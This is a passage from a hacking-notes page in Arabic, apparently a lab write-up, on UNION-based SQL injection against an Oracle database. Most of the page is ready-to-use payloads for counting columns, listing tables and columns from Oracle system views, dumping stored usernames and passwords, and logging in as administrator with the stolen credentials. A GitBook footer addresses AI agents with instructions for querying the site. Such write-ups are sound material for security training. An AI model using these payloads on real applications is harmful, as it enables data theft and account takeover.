> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/sql-injection/database-enumeration-on-oracle.md).

# استطلاع قاعدة بيانات Oracle

### هجوم حقن SQL، سرد محتويات قاعدة البيانات على أوراكل

* **السياق / الثغرة:** `category` مرشح قابل لحقن SQL (تُعاد النتائج في الاستجابة). باستخدام `ORDER BY` / `UNION` يتيح تعداد واستخراج البيانات من عروض النظام في أوراكل.
* **الهدف:** حدّد جدول المستخدم، واعرض أعمدته، واستخرج `اسم المستخدم` / `كلمة المرور` الأزواج واتصل باسم `administrator`.

### خطوات موجزة (الحمولات المقدمة)

1. **تحديد عدد الأعمدة**/ اختبار `ORDER BY` تدريجيًا حتى حدوث خطأ:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```
2. تحقق من UNION SELECT (نفس عدد الأعمدة في الطلب الأصلي):

```sql
' UNION SELECT '1','2'-- -
```

3. **سرد الجداول (أوراكل)** — استخدم `ALL_TABLES`:

```sql
' UNION SELECT NULL, table_name FROM all_tables-- -
```

(عدّل `NULL`/عدد الأعمدة وفقًا للاستعلام الضعيف.)

4. سرد أعمدة جدول محدد (هنا USERS/ JREIFY):

```sql
' UNION SELECT NULL, column_name
  FROM all_tab_columns
  WHERE table_name = 'USERS_JREIFY'-- -
```

ملاحظة: يقوم Oracle بتطبيع الأسماء غير المدرجة بحروف كبيرة.

5. استخراج المحتوى (dump) — مثال مع الأعمدة المحددة:

```sql
' UNION SELECT USERNAME_SWTJLF, PASSWORD_NTBPBA
  FROM USERS_JREIFY-- -
```

اضبط الترتيب/الأنواع؛ استخدم `TO_CHAR`, `CAST` أو `NULL` لمطابقة الأنواع إذا لزم الأمر.

6. **تسجيل دخول المدير**

* استخدم بيانات الاعتماد المسربة في صفحة تسجيل الدخول.
* أو، إذا لزم الأمر، نفّذ تجاوزًا للمصادقة بمجرد تأكيد الأعمدة.

تفاصيل تقنية مفيدة

* إذا فشل UNION بسبب اختلاف الأنواع، فاستبدل الأعمدة بـ null أو TO/ CHAR(col) لفرض التوافق.
* قد تكون عروض البيانات الوصفية المكشوفة (ALL/ TABLES, ALL/ TAB/ COLUMNS, DBA/ /\*) مقيدة بامتيازات حساب قاعدة البيانات؛ ويختلف الوصول وفقًا لصلاحيات التطبيق.
* غالبًا ما يتطلب Oracle الأسماء بحروف كبيرة للمقارنة table/ name = 'USERS/ JREIFY' ما لم يكن الجدول قد أُنشئ بين علامتي اقتباس.

الأثر

* توافق المعرّفات، زيادة الوصول، تسريب/تعديل البيانات، والتحكم الكامل في التطبيق.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/sql-injection/database-enumeration-on-oracle.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
